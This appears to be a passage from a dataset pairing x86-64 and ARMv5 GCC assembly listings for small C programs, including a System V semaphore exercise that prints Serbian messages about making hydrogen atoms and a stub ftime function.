mov edx, 2
mov rsi, rcx
mov edi, eax
call perform_op
lea rdi, .LC2[rip]
call puts@PLT
mov edi, 5
call sleep@PLT
lea rcx, -16[rbp]
mov eax, DWORD PTR -44[rbp]
mov edx, 1
mov rsi, rcx
mov edi, eax
call perform_op
lea rdi, .LC3[rip]
call puts@PLT
jmp .L11
.cfi_endproc
.LFE8:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "125092.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "unexpected error occurred\000"
.text
.align 2
.global validateReturnValue
.syntax unified
.arm
.fpu softvfp
.type validateReturnValue, %function
validateReturnValue:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmn r3, #1
bne .L3
ldr r0, .L4
bl perror
mov r0, #1
bl exit
.L3:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC0
.size validateReturnValue, .-validateReturnValue
.align 2
.global perform_op
.syntax unified
.arm
.fpu softvfp
.type perform_op, %function
perform_op:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
mov r3, #0
str r3, [fp, #-12]
b .L7
.L8:
mov r2, #1
ldr r1, [fp, #-20]
ldr r0, [fp, #-16]
bl semop
str r0, [fp, #-8]
ldr r0, [fp, #-8]
bl validateReturnValue
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L7:
ldr r2, [fp, #-12]
ldr r3, [fp, #-24]
cmp r2, r3
blt .L8
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size perform_op, .-perform_op
.section .rodata
.align 2
.LC1:
.ascii "./vodonik.c\000"
.align 2
.LC2:
.ascii "Pravim atome...\000"
.align 2
.LC3:
.ascii "Kreirana dva atoma vodonika!\000"
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
ldr r3, .L15
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r1, #97
ldr r0, .L15+4
bl ftok
str r0, [fp, #-40]
ldr r0, [fp, #-40]
bl validateReturnValue
mov r3, #4
str r3, [fp, #-36]
ldr r3, .L15+8
str r3, [fp, #-32]
ldr r2, [fp, #-32]
ldr r1, [fp, #-36]
ldr r0, [fp, #-40]
bl semget
str r0, [fp, #-44]
ldr r3, [fp, #-44]
cmn r3, #1
bne .L10
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #17
bne .L11
mov r2, #0
ldr r1, [fp, #-36]
ldr r0, [fp, #-40]
bl semget
str r0, [fp, #-44]
b .L12
.L11:
ldr r0, [fp, #-44]
bl validateReturnValue
b .L12
.L10:
ldr r3, [fp, #-36]
lsl r3, r3, #1
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-16]
ldr r3, [fp, #-16]
mov r2, #2
strh r2, [r3] @ movhi
ldr r3, [fp, #-16]
add r3, r3, #2
mov r2, #0
strh r2, [r3] @ movhi
ldr r3, [fp, #-16]
add r3, r3, #4
mov r2, #0
strh r2, [r3] @ movhi
ldr r3, [fp, #-16]
add r3, r3, #6
mov r2, #0
strh r2, [r3] @ movhi
ldr r3, [fp, #-16]
mov r2, #17
mov r1, #0
ldr r0, [fp, #-44]
bl semctl
str r0, [fp, #-28]
ldr r0, [fp, #-28]
bl validateReturnValue
.L12:
mov r3, #0
strh r3, [fp, #-24] @ movhi
mvn r3, #0
strh r3, [fp, #-22] @ movhi
mov r3, #0
strh r3, [fp, #-20] @ movhi
mov r3, #1
strh r3, [fp, #-16] @ movhi
mov r3, #1
strh r3, [fp, #-14] @ movhi
mov r3, #0
strh r3, [fp, #-12] @ movhi
.L13:
sub r3, fp, #24
mov r2, #2
mov r1, r3
ldr r0, [fp, #-44]
bl perform_op
ldr r0, .L15+12
bl puts
mov r0, #5
bl sleep
sub r3, fp, #16
mov r2, #1
mov r1, r3
ldr r0, [fp, #-44]
bl perform_op
ldr r0, .L15+16
bl puts
b .L13
.L16:
.align 2
.L15:
.word .LC4
.word .LC1
.word 1956
.word .LC2
.word .LC3
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "32100.c"
.intel_syntax noprefix
.text
.globl ftime
.type ftime, @function
ftime:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size ftime, .-ftime
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "32100.c"
.text
.align 2
.global ftime
.syntax unified
.arm
.fpu softvfp
.type ftime, %function
ftime:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size ftime, .-ftime
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
Subsets and Splits